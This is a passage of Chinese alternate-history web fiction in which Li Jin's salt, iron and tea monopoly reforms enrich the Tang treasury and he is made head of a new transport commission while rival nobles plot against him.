然而, 时 间, 很 快 给 出 了 最 有 力 的 答 案。
麟德三年岁末,腊月廿三,小年。太仓(国库)外。
北风凛冽,卷着细碎的雪粒,打在太仓那厚重、斑驳的朱漆大门和高耸的围墙上。然而,与往岁此时门可罗雀、仓吏愁眉苦脸盘算着如何应付年关开支的凄清景象不同,今日的太仓外,车马如龙,人声鼎沸。
一队队隶属于户部、太府寺的胥吏、库兵,身着整齐的号服,在寒风中却个个精神抖擞,呵气成霜的脸上洋溢着压抑不住的兴奋。他们正指挥着民夫,将一辆辆覆盖着油布、满载着沉重木箱的马车,从不同的方向——有从“大唐通商交易务”结算库房来的,有从各地盐铁转运分司押解进京的,甚至有从抄没的盐商豪强府邸运来的——缓缓驶入太仓那洞开的、仿佛巨兽之口的大门。
“铛!铛!铛!” 粗大的杠子抬起,沉重的包铁木箱被卸下,打开。 瞬 间, 在 冬 日 苍 白 的 天 光 下, 一 片 耀 眼 的 金 色、 银 色、 铜 色 光 芒 迸 射 出 来! 那是码放得整整齐齐的金锭、银铤、铜钱!还有成匹的绢帛,堆积如山的官盐(作为实物赋税或利润的一部分)。空气中仿佛都弥漫开一股金属与财富特有的、冷冽而诱人的气息。
“扬州分司,解到 盐 税、 专 营 费 计 金 三 千 两, 银 五 万 两, 铜 钱 十 万 贯, 上 等 绢 五 千 匹!**” 有胥吏高声唱报,声音因激动而微微发颤。
“河东分司,解到 盐 铁 税 计 银 八 万 两, 铜 钱 十 五 万 贯, 并 精 铁 十 万 斤 折 色!”
“剑南分司,解到 茶 税、 盐 税 计 … …**”
“交易务结算, 首 年 盐 引 发 售 及 交 易 佣 金 等 收 入, 计 金 五 千 两, 银 十 二 万 两, 铜 钱 三 十 万 贯!**”
唱报声此起彼伏,每一句报出的数字,都让周围的胥吏、库兵,乃至远处围观的百姓,发出一阵阵压抑的惊呼。 这 些 数 字, 远 远 超 过 了 以 往 同 期 盐 铁 茶 课 的 入 库 额, 甚 至 是 数 倍、 十 数 倍 之 多! 太仓那原本显得有些空旷的库房,以肉眼可见的速度被这些黄白之物、绢帛盐铁填充起来,堆积如山。
户部尚书唐临亲自坐镇太仓,这位素来以沉稳著称的老臣,此刻手指抚过冰凉的金锭,看着账册上那一个个滚烫的、不断累加的数字,手竟也有些微微发抖。他抬起头,望向皇城的方向,眼中充满了难以言喻的感慨与激动。 多 少 年 了, 户 部 何 曾 如 此 “ 阔 绰” 过? 何曾见过如此汹涌的、实实在在的财富流入国库?
紫宸殿,岁末大朝会。
与太仓外的喧腾相比,殿内气氛庄严肃穆,但几乎所有官员,无论派系,都竖起了耳朵,心潮起伏。因为今日朝会最重要的议程,便是由户部尚书唐临,奏报麟德三年的国家财政收支,尤其是盐铁专卖新法推行首年的成效。
唐临手持玉笏,立于殿中。他没有看任何人,只是用清晰、平稳,却蕴含着巨大力量的声音,向御座上的皇帝、皇后,以及满朝文武,宣读着一份足以载入史册的财政报告:
“陛下,皇后殿下,诸位同僚。 麟 德 三 年, 仰 赖 陛 下 天 威, 皇 后 殿 下 圣 德, 朝 廷 上 下 戮 力 同 心, 新 政 得 以 推 行。 今 岁 国 家 财 赋 收 支, 已 初 步 核 算 完 毕。 老臣, 据 实 奏 报。**”
他略作停顿,仿佛在积蓄力量,然后朗声道:“ 去 岁 ( 麟 德 二 年, 新 政 前), 全 国 盐、 铁、 茶 三 项 课 税 入 库, 总 计 折 钱 约 一 百 五 十 万 贯。”
这个数字,许多官员心中有数,是往年正常水平,甚至因私盐泛滥,还算略高。
“而 今 岁 ( 麟 德 三 年),” 唐临的声音陡然提高,一字一顿,如同重锤敲击在金砖之上,“ 自 盐 铁 茶 专 卖 新 法 施 行 以 来, 截 至 腊 月 二 十, 盐、 铁、 茶 三 项 官 营 专 卖 收 入 ( 包 括 直 接 利 润、 专 营 税 费、 盐 引 发 行 及 交 易 所 得 等), 总 计 折 钱 … …” 他再次停顿,目光扫过殿中那些神色各异的同僚,缓缓吐出了一个石破天惊的数字:
“ 八 百 七 十 五 万 贯! 其 中, 盐 利 约 占 六 成 有 奇。 此 数 尚 不 包 括 各 地 抄 没 违 禁 盐 商 之 浮 财 折 价 约 一 百 二 十 万 贯, 以 及 因 盐 价 渐 趋 平 稳、 私 盐 锐 减 而 带 来 的 其 他 商 税 隐 性 增 长。**”
“八百七十五万贯!”
“轰——!”
这个数字,如同一道九天惊雷,在紫宸殿中炸响!所有人都被震得头晕目眩,几乎不敢相信自己的耳朵!
从 一 百 五 十 万 贯, 到 八 百 七 十 五 万 贯! 增长了近 五 倍! 而这仅仅是新政推行不足一年的成效!盐铁茶三项,竟能为国库带来如此巨额的、实实在在的收入!这几乎相当于以往全国小半的岁入!
殿中瞬间陷入一片死寂,针落可闻。随即,巨大的喧嚣声轰然爆发!
“八百七十五万贯?!这……这怎么可能?!” 有老臣失声惊呼,随即意识到失态,连忙掩口,但脸上的震撼与难以置信却无法掩饰。
“天佑大唐!天佑大唐啊!” 支持新政的官员则已激动得满脸通红,许敬宗更是出列,朝着御座深深一揖,声音哽咽:“陛下圣明!皇后殿下圣明!李相之功,千秋彪炳! 此 乃 利 国 利 民、 功 在 千 秋 之 盛 事 啊!** 自今日起,我大唐府库充盈,国用无忧矣!”
程务挺等武将更是喜形于色,军费有了着落,强兵可期!
而那些曾经激烈反对新政,或明里暗里阻挠的官员,此刻则面色惨白,如丧考妣。他们张了张嘴,想要质疑这数字的真实性,想要挑刺, 但 唐 临 以 户 部 尚 书 之 尊, 在 岁 末 大 朝 会 上 奏 报 的 数 字, 必 是 经 过 反 复 核 算, 有 账 可 查, 有 物 为 证。 太仓外那车水马龙、金银入库的景象,早已传遍长安。他们可以质疑政策,却无法否认这如山铁证般的财富。
更重要的是, 这 巨 额 的 收 入, 不 仅 是 数 字, 更 代 表 着 无 可 抗 拒 的 力 量 和 无 可 辩 驳 的 正 确。 它堵住了所有质疑者的嘴,也彻底确立了盐铁专卖新政不可动摇的地位。在实实在在的利益面前,任何道义、祖制、人情的争论,都显得苍白无力。
御座上,李治的身体似乎都坐直了一些,苍白的面容上泛起一丝激动的潮红。他虽知新政或有成效,却也没想到成效如此 骇 人。 八百七十五万贯!这意味着什么?意味着他可以修缮宫室,可以赏赐功臣,可以赈济灾民,可以……做很多以前想做却因囊中羞涩而不敢做的事。当然,他更深知,这笔钱最大的意义,在于 强 化 了 皇 权 的 物 质 基 础, 让 他 和 武 媚 娘 的 统 治, 更 加 稳 固。**
珠帘后,武媚娘的声音适时响起,依旧平静,却带着一种掌控全局的从容与威严:“唐尚书辛苦了。 此 乃 陛 下 洪 福, 亦 是 李 相 与 诸 位 推 行 新 政 之 臣 工 呕 心 沥 血 所 得。 盐铁之利,归于国家,用之于民,此乃正道。今岁国帑大增, 朕 与 陛 下 商 议, 当 善 用 此 利: 一, 充 实 边 备, 赏 赉 有 功 将 士; 二, 缮 治 河 工, 以 防 水 患; 三, 减 免 部 分 受 灾 州 县 赋 税, 休 养 民 力; 四, 于 长 安、 洛 阳 等 地 增 设 义 仓, 平 抑 粮 价, 惠 及 贫 民。 具体细则,由政事堂会同户部拟定。”
“陛下圣明!皇后殿下圣明!” 这一次,朝堂上的附和声整齐而响亮,再无杂音。巨大的利益,使得朝堂空前“团结”。
李瑾站在文臣班列之前,神色沉静,并无太多激动之色,仿佛这惊人的成果早在他预料之中。他出列,躬身道:“此乃陛下、皇后殿下运筹帷幄,朝廷上下齐心之功,臣等不过奉命行事,何功之有? 然 新 政 初 行, 基 础 未 固, 尤 其 盐 铁 转 运、 市 舶 司 ( 掌 管 海 外 贸 易, 与 盐 铁 茶 出 口 有 关) 等 事, 千 头 万 绪, 需 专 人 统 筹, 方 能 保 证 利 源 不 绝, 国 用 常 盈。 臣 恳 请 陛 下、 皇 后 殿 下, 于 中 枢 设 立 常 设 机 构, 总 揽 天 下 财 赋 转 运 及 专 营 事 宜。”
他这是在为下一步布局—— 将 财 政 和 经 济 大 权, 进 一 步 集 中 到 以 他 为 核 心 的 新 体 系 之 中。 有了麟德三年这八百七十五万贯的辉煌战绩,他的任何建议,分量都将截然不同。
果然,李治几乎不假思索,看向武媚娘。武媚娘微微颔首。
“准奏。” 李治的声音带着难得的爽快,“ 着 即 设 立 ‘ 诸 道 转 运 使 司’, 总 理 全 国 盐 铁 茶 专 营、 漕 运、 市 舶 及 相 关 财 赋 事 宜。 此 职 关 系 重 大, 非 股 肱 重 臣 不 可 担 当。 李 相 … … 便 由 你 兼 领 转 运 使, 全 权 负 责。 望 卿 不 负 朕 望, 再 立 新 功。”
“臣,李瑾,领旨谢恩!必当竭尽全力,不负圣恩!” 李瑾深深拜下。 至 此, 他 不 仅 是 宰 相, 更 掌 握 了 帝 国 的 经 济 命 脉 与 财 政 大 权, 权 势 之 盛, 一 时 无 两。
朝会散去,八百七十五万贯的“盐铁之利”如同一股狂暴的旋风,席卷了整个长安,又以更快的速度传向天下。 所 有 人 都 明 白, 一 个 属 于 “ 新 政” 和 “ 李 瑾” 的 时 代, 已 经 牢 牢 确 立。 金钱的力量,比任何刀剑和辩才,都更有说服力。帝国的航船,在注入这巨额财富作为压舱石和动力后,正朝着一个未知的、但似乎充满希望的方向,加速驶去。
而站在权力与财富巅峰的李瑾,在退朝时,迎着百官复杂难言的目光,步履沉稳地走出紫宸殿。他抬头望了望灰蒙蒙的天空,雪花正悄然飘落。 国 帑 增 加 了, 但 危 机 从 未 远 去。 旧的敌人被击败,新的利益格局正在形成,更多的眼睛在盯着他,更多的欲望在滋生。 这 条 以 改 革 和 集 权 为 方 向 的 道 路, 注 定 布 满 荆 棘, 也 注 定 … … 将 他 推 向 更 高, 也 更 危 险 的 位 置。
但此刻,至少国库是满的,新政的根基,已然打下。
第129章 瑾领转运使
麟德三年元月,新岁朝贺的钟磬余音犹在耳畔,一道明发天下的诏书,便如巨石投入朝堂这潭表面平静的湖水,激起了远比岁末“国帑增巨万”更汹涌、也更复杂的暗流。
“ 制 曰: 朕绍承鸿业,励精图治。 盐 铁 之 利, 国 之 大 柄; 漕 运 之 通, 民 生 所 系。 今专营初行,成效卓著, 为 求 长 策, 永 固 邦 本, 特 设 ‘ 诸 道 盐 铁 转 运 使 司’, 总 理 天 下 盐、 铁、 茶 榷 酤 之 政, 兼 领 漕 运、 市 舶 及 相 关 财 赋 转 输 事 宜。 兹事体大, 着 由 尚 书 左 仆 射、 同 中 书 门 下 平 章 事 李 瑾, 兼 领 诸 道 盐 铁 转 运 使, 全 权 处 置, 便 宜 行 事。 各 道、 州、 县 有 司, 并 所 辖 盐 场、 铁 监、 漕 司、 市 舶 等 官 吏, 皆 需 协 力 听 命, 不 得 有 误。** 钦此。”
诏书不长,但字字千钧。
“诸道盐铁转运使司”——这是一个全新的、前所未有的庞大机构。 它 不 仅 将 原 本 分 属 户 部、 工 部、 地 方 州 县 乃 至 内 侍 省 的 盐 铁 茶 等 专 营 权 力 高 度 集 中, 更 将 帝 国 的 经 济 动 脉 — — 漕 运, 以 及 对 外 贸 易 的 窗 口 — — 市 舶 司, 一 并 纳 入 囊 中。 其职权之重,涵盖之广,实权之大, 自 开 国 以 来, 前 所 未 有。 而李瑾,以首相之尊兼领此职, 等 于 将 大 唐 帝 国 近 半 的 财 政 收 入、 最 重 要 的 物 资 流 通 命 脉, 牢 牢 掌 控 在 了 自 己 手 中。
这已不仅仅是“位极人臣”,而是真正触及了帝国统治的“钱袋子”和“米袋子”,是赤裸裸的、前所未有的经济集权。
朝野上下,为之失声片刻,随即暗流汹涌。
支持者弹冠相庆。许敬宗、袁公瑜等“后党”及新政受益官员,自是欢欣鼓舞。 他 们 看 到 的 是 新 政 派 系 权 力 的 巩 固 和 扩 张, 是 自 己 前 程 的 更 加 光 明。** 八百七十五万贯的实打实收入,让任何对李瑾权势膨胀的非议都显得底气不足——谁能给朝廷带来这么多钱粮,谁就更有资格掌握更大的权力,这是最朴素的道理。
而反对者,或者说,那些被触及根本利益的势力,则感到刺骨的寒意。 门 阀 世 家 看 到 的, 是 通 过 盐 铁 茶 利 益 与 地 方 勾 连 的 传 统 通 道 被 彻 底 斩 断; 某些与漕运利益攸关的朝臣和地方大员,看到的是自己盘中的肥肉被生生端走; 甚 至 一 些 并 非 直 接 受 损, 但 秉 持 着 “ 权 力 应 分 散 制 衡” 传 统 理 念 的 官 员, 也 对 如 此 巨 大 的 权 力 集 中 于 一 人 之 手 感 到 深 深 的 忧 虑 和 不 安。**
“ 古 今 未 有 之 事 也! 宰相已总百揆,再兼此财赋转运之重权, 是 将 国 家 之 利 权, 尽 付 一 人 乎? 长此以往,恐非社稷之福啊!” 有老臣在私邸中,对着心腹门生,捶胸顿足,却又不敢公开上疏反对—— 那 八 百 多 万 贯 的 光 环 太 过 耀 眼, 陛 下 和 皇 后 的 信 任 也 太 过 明 显。**
更多的沉默者,则在暗中观察,计算着利弊,思忖着该如何在新的权力格局下自处。
对于这些暗流,李瑾心知肚明,但他无暇也无心去过多理会。 诏书下达的第二天,他便在尚书省旁,原户部下属一个相对僻静的衙署旧址,挂上了“诸道盐铁转运使司”的黑底金字大匾。没有盛大的仪式,只有他麾下一批精干且相对年轻的官员迅速进驻,将这里变成了一个高效运转的新权力中枢。
转运使司的内部架构,是李瑾精心设计的, 打 破 了 传 统 六 部 的 框 架, 按 照 经 济 运 行 的 内 在 逻 辑 重 新 划 分。
下设:
? 盐 铁 茶 榷 司: 负 责 全 国 盐、 铁、 茶、 酒 等 专 营 事 物 的 生 产、 定 价、 销 售 及 盐 引 等 凭 证 的 印 发 管 理, 是 最 核 心 的 “ 利 润 中 心”。
? 漕 运 水 陆 司: 统 管 大 运 河 及 各 主 要 水 陆 干 道 的 物 资 转 运, 包 括 漕 粮、 官 盐、 贡 赋 等, 下 设 各 地 转 运 分 司 及 仓 场, 掌 握 着 帝 国 的 物 资 流 动 命 脉。 原 本 分 散 而 效 率 低 下 的 漕 运 体 系, 被 纳 入 统 一 高 效 的 管 理。**
? 市 舶 海 贸 司: 主 管 广 州、 扬 州、 泉 州 等 对 外 港 口, 负 责 海 外 贸 易 的 管 理、 征 税 及 专 营 商 品 ( 如 茶 叶、 瓷 器) 的 出 口, 是 开 拓 新 财 源 的 重 要 部 门。
? 度 支 稽 核 司: 负 责 转 运 使 司 内 部 及 下 属 各 机 构 的 财 务 核 算、 审 计 监 督, 直 接 对 李 瑾 负 责, 确 保 钱 粮 流 向 清 晰, 防 止 贪 腐 和 效 率 低 下。**
? 情 报 驿 传 司: 以 原 有 驿 站 为 基 础, 结 合 李 瑾 私 下 建 立 的 察 事 听 子 系 统, 构 建 起 一 张 覆 盖 全 国 主 要 经 济 区 域 的 信 息 网 络, 负 责 收 集 各 地 物 价、 商 情、 灾 异、 官 吏 动 向 等 情 报, 并 拥 有 独 立 的 加 急 通 信 渠 道。 这 是 李 瑾 的 “ 耳 目” 和 “ 神 经”, 保 证 他 能 在 长 安 快 速 获 知 千 里 之 外 的 动 向。**
各司主官,多为李瑾亲自简拔或在新政推行中表现出色的中青年官员,背景相对单纯,能力突出,且与旧有利益集团瓜葛较少。 他们如同一个个精密的齿轮,被李瑾这个总设计师,严丝合缝地嵌入“转运使司”这部庞大的新机器中。
挂牌次日,李瑾便召集各司主官,颁布了《转运使司暂行条规》及一系列敕令。 核 心 只 有 两 点: 效 率, 与 控 制。**
“ 自 即 日 起, 各 地 盐 铁 茶 课 及 相 关 利 润, 除 留 足 地 方 必 需 及 本 地 再 生 产 所 需 外, 余 者 必 须 按 季 解 送 至 指 定 中 转 仓 或 直 接 押 解 入 京, 不 得 拖 欠、 截 留。 漕 运 各 段, 实 行 ‘ 纲 运 法’ 与 ‘ 押 纲 官 责 任 制’, 定 时、 定 量、 定 人, 损 耗 超 过 定 额, 一 体 追 究。 市 舶 司 严 查 走 私, 所 有 海 舶 出 入, 必 须 凭 新 发 ‘ 公 验’( 新 式 外 贸 许 可 证), 按 新 定 则 例 抽 解 纳 税 … …**” 李瑾的声音在转运使司正堂回荡,清晰冷冽,不容置疑。
“ 所 有 账 目, 一 式 三 份, 分 司 存 档、 转 运 司 备 案、 度 支 稽 核 司 随 时 抽 查。 各 地 分 司 主 官, 每 年 必 须 赴 京 述 职, 汇 报 情 况, 接 受 质 询。 情 报 驿 传 司 会 不 定 期 向 各 地 派 出 察 访 使, 核 实 情 报, 诸 位 好 自 为 之。”
一道道命令,如同精准的手术刀, 切 入 帝 国 原 本 臃 肿 而 低 效、 充 满 漏 洞 的 经 济 肌 体, 将 分 散 的 权 力 和 利 益 重 新 收 拢、 规 整。 效率的提升是显而易见的,但伴随而来的,是无数原有利益链条的断裂和既得利益者的痛楚**。
更大的动作,紧随其后。
李瑾深知, 转 运 使 司 能 否 真 正 掌 控 帝 国 经 济 命 脉, 关 键 在 于 两 点: 一 是 人, 二 是 对 核 心 物 资 流 通 渠 道 的 实 际 控 制。 在人事上,他已初步布局。而在物资流通上,他选择了 漕 运 这 个 帝 国 的 生 命 线 作 为 突 破 口 和 展 现 能 力 的 舞 台。**
他亲自拟定了《漕运改良十事疏》,上奏朝廷。内容涉及疏浚关键河段、在汴口等重要节点建设大型中转仓、改良漕船设计、统一漕丁管理和饷章、建立更严密的损耗考核与奖惩制度等。 最 关 键 的 是, 他 提 出 从 神 策 军 中 抽 调 一 部 分 精 干 低 级 军 官 和 老 兵, 与 地 方 府 兵 混 编, 组 建 专 门 的 “ 漕 运 护 军”, 分 段 驻 扎 运 河 要 冲, 既 负 责 押 运 官 粮 官 盐, 也 清 剿 水 匪, 维 护 漕 运 畅 通。 这 实 际 上 是 将 一 部 分 军 事 力 量 置 于 转 运 使 司 的 控 制 下, 进 一 步 强 化 了 其 权 柄。
奏疏很快得到批复:“ 俱 依 卿 所 奏, 便 宜 行 事。” 李治和武媚娘给予了毫无保留的支持。他们需要钱,需要稳定的物资供应,而李瑾用之前的成绩证明了他能带来这些。
一时间, 从 长 安 到 扬 州, 从 洛 阳 到 汴 州, 帝 国 的 经 济 神 经 仿 佛 被 一 只 无 形 的 巨 手 拨 动, 开 始 以 一 种 前 所 未 有 的 效 率 和 强 制 力 运 转 起 来。 转运使司的公文、令牌、新任命的官员,如同蛛网般迅速铺向全国。旧的秩序被打破,新的规则在建立。抱怨、阻挠、阳奉阴违从未停止,但在朝廷的强力背书和李瑾铁腕手段下, 一 切 抵 抗 都 在 那 架 高 效、 冷 酷 且 掌 握 着 信 息 优 势 的 新 机 器 面 前, 被 粉 碎 或 吞 没。
长安,平康坊,一处隐秘的私宅内。
几个身影在昏黄的灯火下对坐,气氛压抑。他们中有失意的旧日高门代表,有在漕运利益中受损的地方势力代言人,甚至还有一两位脸上带着明显忧虑的宗室远支。
“ 李 瑾 此 子, 手 段 太 狠, 吃 相 太 难 看 了。” 一个苍老的声音缓缓道,“盐铁茶之利,他一把抓了。如今连漕运、市舶也不放过。 这 转 运 使 司 一 开, 天 下 利 权, 十 之 七 八 尽 入 其 手。** 长此以往,朝廷是朝廷,还是他李瑾的私库?”
“何止是利权?” 另一人接口,声音阴冷,“ 你 看 他 那 套 架 构, 盐 铁 漕 运 市 舶, 还 有 那 什 么 情 报 驿 传、 度 支 稽 核 … … 分 明 是 在 六 部、 州 县 之 外, 另 立 了 一 套 朝 廷! 那 些 主 事 的, 多 是 他 的 门 生 故 吏, 或 是 靠 新 政 上 位 的 新 贵, 眼 里 只 有 李 瑾, 哪 有 朝 廷 法 度、 君 臣 纲 常?**”
“还有那漕运护军!” 一个武将打扮的人低吼,“ 这 是 要 把 手 伸 进 军 中 啊! 今日可以调神策军旧部去护漕,明日是不是就能以护漕之名,行割据之实? 他 李 瑾, 到 底 想 干 什 么? 当年杨国忠(唐玄宗时权相,此处类比)也没他这般……”
“慎言!” 为首的老者打断了他,但眼神同样幽深,“ 他 如 今 圣 眷 正 隆, 又 有 泼 天 的 功 劳 ( 指 盐 利) 傍 身, 动 不 得。 然则, 月 满 则 亏, 水 满 则 溢。 权势滔天, 亦 是 取 祸 之 道。 陛下(李治)春秋正盛,皇后(武媚娘)英明果决, 岂 能 长 久 容 得 一 人 独 揽 如 此 大 权? 更何况,” 他顿了顿,声音压得更低,“ 他 这 般 作 为, 断 了 多 少 人 的 财 路, 夺 了 多 少 人 的 权 柄? 江淮盐商殷鉴不远,可这天下,可不止江淮有盐商,有漕帮,有靠着旧例吃饭的人。”
另一人阴恻恻地道:“ 等 吧, 等 一 个 时 机。 他李瑾如今是烈火烹油,鲜花着锦。可这转运使司,管着天下钱粮转运,何等繁难? 只 要 出 一 点 岔 子, 比 如 漕 粮 误 期, 或 是 某 处 仓 场 亏 空, 或 是 … … 与 民 ( 实 则 是 与 某 些 势 力) 争 利 过 甚, 激 起 民 变, 那 时, 今 日 之 荣 宠, 便 是 明 日 之 罪 愆。 更何况,” 他抬眼看了看在座那位一直沉默的宗室,“ 李 唐 的 天 下, 总 归 是 姓 李 的。 有些人,怕是也快要坐不住了吧?”
那位宗室成员,只是微微抬了抬眼皮,并未言语,但袖中的手,已悄然握紧。他想起了一些皇族近支私下的抱怨,想起了某些关于“牝鸡司晨”、“权奸当道”的流言,想起了太宗皇帝、高宗皇帝创业守成的不易…… 一 股 难 以 言 说 的 愤 懑 与 野 心, 在 心 底 悄 然 滋 生。
李瑾并不知道,或者说,即便知道也并不完全在意这场密会。 此刻,他正站在新落成的转运使司官衙最高处的回廊上,凭栏远眺。夜幕下的长安,万家灯火,星河低垂。他手中,是刚刚送来的、关于漕运改良第一批款项已拨付、汴口新仓开始勘址的简报。
夜风带着寒意,吹动他的袍袖。权力如同美酒,令人沉醉,但也如履薄冰。 他 知 道 自 己 坐 在 了 一 个 炙 热 的 位 置 上, 下 面 是 沸 腾 的 利 益 岩 浆, 周 围 是 无 数 双 或 羡 慕 或 嫉 妒 或 怨 毒 的 眼 睛。 但他没有退路。盐铁专卖的成功只是开始, 掌 控 转 运 使 司, 将 帝 国 的 经 济 命 脉 牢 牢 抓 在 手 中, 才 是 他 实 现 更 宏 大 蓝 图 的 关 键 一 步。**
“ 路 还 长 着 呢。” 他低声自语,声音消散在风里。脚下,这座他参与缔造、并正试图彻底掌控的帝国,正缓缓驶向未知的深水区,而他就是那个掌舵者, 尽 管 前 方 可 能 暗 流 汹 涌, 但 他 已 别 无 选 择, 只 能 一 往 无 前。
第130章 天下利归公
麟德三年,夏秋之交。
当 第 一 批 悬 挂 着 崭 新 的 “ 诸 道 盐 铁 转 运 使 司 漕 运 分 司” 旗 号 的 官 漕 船 队, 满 载 着 江 淮 稻 米 和 两 淮 官 盐, 在 秋 日 的 艳 阳 下 缓 缓 驶 入 长 安 东 郊 的 广 运 潭 时, 码 头 上 响 起 了 标 志 性 的 报 捷 钟 声。 这不是凯旋的钟声,却比凯旋更让朝廷中枢的某些人感到振奋。因为这批漕粮, 比 往 年 同 期 的 抵 达 时 间 提 前 了 整 整 十 五 天, 而 经 过 严 格 核 验, 耗 损 率 不 到 往 年 同 期 的 一 半。**
效率,惊人的效率。这就是李瑾掌控下的转运使司,在整合了漕运权力、推行新法后,向帝国中枢交出的第一份令人瞩目的成绩单。
“天下利归公”。
这五个字,不再是朝堂上空洞的口号或奏疏中美好的愿景。 它 正 在 以 一 种 前 所 未 有 的 力 度 和 速 度, 化 为 渗 透 进 帝 国 肌 体 每 一 处 毛 细 血 管 的 现 实。
转运使司如同一只从长安伸出的、无形而有力的巨手, 凭 借 着 皇 权 的 绝 对 背 书 和 李 瑾 的 铁 腕 推 行, 以 及 那 套 打 破 常 规、 直 达 基 层 的 垂 直 管 理 体 系, 将 帝 国 最 重 要 的 经 济 命 脉 一 条 条 收 拢、 捋 顺、 握 紧。
? 盐 利 方 面: 各 大 盐 场 的 生 产 已 基 本 纳 入 官 营 或 严 格 的 官 督 商 办 体 系。 新的、更有效率的“晒盐法”在沿海盐场逐步推广,产量和质量得到提升。盐引制度运转良好, 大 唐 通 商 交 易 务 成 为 全 国 性 的 盐 引 交 易 和 价 格 发 现 中 心, 其 每 日 公 布 的 “ 盐 引 指 数”, 甚 至 开 始 影 响 千 里 之 外 盐 场 的 生 产 计 划。 私盐并未绝迹,但在“漕运护军”分段巡查和严厉的连坐法打击下,已成零星疥癣之疾。 盐 税 收 入 稳 定 而 充 沛, 按 季 源 源 不 断 地 流 入 转 运 使 司 在 各 地 的 分 司 银 库, 再 按 计 划 解 送 长 安 或 用 于 本 地 开 支。**
? 铁 与 茶: 情 况 类 似。 主要铁矿和大型茶山被官方控制, 通 过 发 放 “ 铁 引”、“ 茶 引” 和 设 立 官 定 收 购 价, 将 生 产 和 流 通 环 节 的 利 润 大 部 分 收 归 国 有。** 朝廷对铜、铅等战略矿产的控制也在加强,为即将推行的新币制(李瑾已在筹划)做准备。
? 漕 运 革 新: 这 是 转 运 使 司 成 立 后 投 入 力 量 最 大、 也 最 见 成 效 的 领 域 之 一。 “纲运法”和“押纲官责任制”使得漕运效率大幅提升,损耗和迟误锐减。新建和修缮的仓储节点开始发挥作用。 那 支 由 神 策 军 退 役 老 兵 和 地 方 府 兵 精 干 混 编 的 “ 漕 运 护 军”, 不 仅 有 效 震 慑 了 水 匪 和 漕 帮 势 力, 更 成 为 转 运 使 司 在 地 方 上 一 支 直 接 掌 握 的 武 装 力 量, 虽 规 模 不 大, 但 意 义 非 凡。**
? 市 舶 拓 展: 广 州、 泉 州、 扬 州 等 港 口 的 市 舶 司 被 重 新 整 顿, 贪 腐 和 效 率 低 下 的 官 员 被 清 理, 新 的 “ 公 验” 制 度 和 抽 分 税 则 开 始 严 格 执 行。 朝廷 开 始 有 意 识 地 鼓 励 瓷 器、 丝 绸、 茶 叶 等 高 附 加 值 商 品 的 出 口, 并 尝 试 以 官 方 身 份 组 织 规 模 更 大 的 海 外 贸 易 船 队, 所 得 利 润 直 接 纳 入 转 运 使 司 库 房。 来自海外的香料、珍宝、乃至铜钱(日本、新罗等地大量使用唐钱),也开始更多地流入大唐,补充着帝国的财富。
然 而, 真 正 让 这 套 体 系 高 效 运 转 并 得 以 强 力 控 制 的, 是 两 个 看 似 不 起 眼、 却 极 为 关 键 的 设 置:
其一,是 “ 公 廨 本 钱” 制 度 的 扩 展 与 变 革。 李瑾将原本仅限于官府放贷取息的“公廨本钱”模式,大规模应用到转运使司下属的各盐场、铁监、茶山、漕运分司乃至市舶司。 朝 廷 拨 付 或 从 盐 铁 利 润 中 划 出 专 项 资 金, 作 为 这 些 官 营 或 官 督 机 构 的 “ 本 钱” 和 流 动 资 金。 这些机构在完成朝廷定额上缴任务后,可以利用“本钱”进行一定程度的扩大再生产、改善工艺、甚至进行有限度的商业周转(如预购原料、向民间收购部分产品)。 盈 利 部 分, 一 部 分 继 续 滚 入 本 钱, 一 部 分 可 用 作 吏 员 奖 励 和 福 利, 一 部 分 上 缴。 这 在 一 定 程 度 上 打 破 了 传 统 官 营 的 僵 化 和 低 效, 激 发 了 活 力, 同 时 又 通 过 严 格 的 审 计 和 利 润 上 缴 制 度, 确 保 了 国 家 对 最 终 利 益 的 掌 控。 这 已 经 带 有 了 某 种 原 始 的 “ 国 家 资 本 主 义” 或 说 “ 官 办 企 业” 的 雏 形。**
其二,是 那 张 无 孔 不 入 的 情 报 与 信 息 网 络。 转运使司下属的“情报驿传司”,不仅传递公文,更利用其遍布主要商路、港口、产区的网点, 疯 狂 收 集 着 各 地 的 物 价 行 情、 商 品 流 通 数 量、 天 气 灾 异、 地 方 官 吏 政 绩 与 风 评, 甚 至 是 某 些 豪 强 的 不 法 行 径。 这些情报经过长安总司的汇总分析,能帮助李瑾和他的团队 及 时 调 整 政 策、 预 判 风 险、 精 准 打 击 对 手。 例如,当扬州盐市出现异常囤积,情报司能迅速锁定背后可能的操纵者;当某地漕运损耗异常升高,度支稽核司的官员可能比地方官更早拿到详细数据。 信 息 的 不 对 称, 成 为 转 运 使 司 强 化 中 央 控 制 的 利 器。** 地方官员和豪强惊讶地发现,长安对地方情况的了解速度和深度,远超以往,许多暗中的手脚,变得风险极高。
“天下利归公”的结果,是中央财力的空前膨胀,以及对地方控制力的空前增强。
太仓和皇室的内帑,以肉眼可见的速度变得充盈。 去 年 八 百 多 万 贯 的 盐 铁 茶 利 还 只 是 开 始, 随 着 转 运 使 司 体 系 的 高 效 运 转 和 不 断 完 善, 今 年 的 岁 入 有 望 再 创 新 高。 户部尚书唐临如今面对李瑾时,笑容真诚了许多——有钱的户部,才是真正的户部。
更 深 层 的 变 化 在 于 权 力 结 构。 转运使司这个横空出世的庞然大物, 实 际 上 架 空 了 户 部 在 财 政 收 入 方 面 的 大 部 分 职 能, 也 分 走 了 工 部、 地 方 州 县 在 盐 铁 茶 生 产 和 漕 运 上 的 权 力。 大量的财富和物资流,绕过传统的行政体系,通过转运使司的垂直管道,直接汇向中央。 地 方 豪 强 和 官 僚 通 过 控 制 资 源 和 物 资 流 通 来 对 抗 中 央 的 能 力 被 大 大 削 弱, 中 央 的 政 令 和 意 志, 借 助 着 这 套 与 财 政 收 入 直 接 挂 钩 的 体 系, 得 以 更 有 力 地 贯 彻 到 地 方。
两仪殿,御书房。
李治的气色似乎因国用充足而好转了些,他翻阅着户部和转运使司联名呈报的上半年岁入简报,脸上带着难得的轻松笑意。“媚娘,你看, 仅 上 半 年, 盐 铁 茶 漕 之 利, 已 超 去 岁 同 期 一 倍 有 余。 国库充盈,朕心甚慰啊。”
武媚娘坐在一侧,手中也拿着一份更详细的、由李瑾单独呈报的密奏,上面不仅罗列了数字,还分析了各地动向、潜在问题以及下一步的计划。她闻言,抬眸浅笑:“ 全 赖 陛 下 圣 明 独 断, 亦 是 李 相 与 诸 臣 用 心 办 差 之 功。 如今朝廷用度宽裕,许多事便可着手去做了。”
